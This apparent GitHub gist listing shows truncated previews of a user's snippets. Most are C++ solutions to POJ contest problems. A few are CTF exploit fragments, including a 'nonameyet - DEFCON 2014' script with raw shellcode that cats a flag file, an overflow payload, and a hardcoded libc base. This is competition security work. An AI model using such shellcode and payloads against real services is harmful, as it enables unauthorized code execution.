Skip to content

Instantly share code, notes, and snippets.

@potetisensei
potetisensei / 2100.cpp
Last active August 29, 2015 14:25
POJ 2100
#include <cstdio>
#include <cmath>
#include <utility>
#include <algorithm>
using namespace std;
typedef pair<int, int> Pair;
int maxt;
int s;
@potetisensei
potetisensei / 3180.cpp
Last active August 29, 2015 14:25
POJ 3180
#include <cstdio>
#include <cassert>
#include <vector>
using namespace std;
int ans;
int n;
int m;
int t;
bool used[10000];
@potetisensei
potetisensei / 1180.cpp
Last active August 29, 2015 14:25
POJ 1180
#include <cstdio>
#include <vector>
#include <deque>
#include <utility>
#include <algorithm>
#include <functional>
using namespace std;
typedef long long int LLI;
typedef pair<LLI, LLI> Pair; // (a, b) := ax+b
#from pexpect import *
from commands import getoutput
from struct import pack, unpack
from subprocess import Popen, PIPE
from time import sleep
from fcntl import fcntl, F_GETFL, F_SETFL
from os import O_NONBLOCK, read
from os import putenv, environ
libc_base = 0x555a2000
import string
from socket import *
from struct import pack, unpack
from commands import getoutput
from time import sleep, time
from sys import argv, exit
def read_noblock(p, n):
p.setblocking(False)
try:
#include <cstdio>
#include <cmath>
#include <utility>
#include <algorithm>
using namespace std;
#define PI 3.1415926535
typedef pair<int, int> Pair;
int n;
#include <cstdio>
#include <utility>
#include <algorithm>
using namespace std;
typedef pair<int, int> Pair;
inline int det(Pair p1, Pair p2) {
return p1.first * p2.second - p1.second * p2.first;
}
@potetisensei
potetisensei / nonameyet.py
Last active August 29, 2015 14:26
nonameyet - DEFCON 2014
from socket import *
from time import time, sleep
from struct import pack
from sys import argv
HOST = "localhost"
shellcode = "\x31\xc0\x50\x68\x66\x6c\x61\x67\x68\x2e\x2e\x2f\x2f\x54\x5f\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x54\x5b\x50\x57\x53\x54\x59\x6a\x0b\x58\xcd\x80" # should use connectback shellcode actually
def main():
payload1 = "a" * 34
#include <cstdio>
#include <vector>
#include <algorithm>
using namespace std;
int u, v;
int high, low;
int n, k;
int g_x;
int as[200000];
@potetisensei
potetisensei / get_val.c
Created March 9, 2016 06:00
Boston key Party 2016 spacerex
int main() {
double hoge;
scanf("%llu", ((long long int*)&hoge));
printf("%e\n", hoge);
}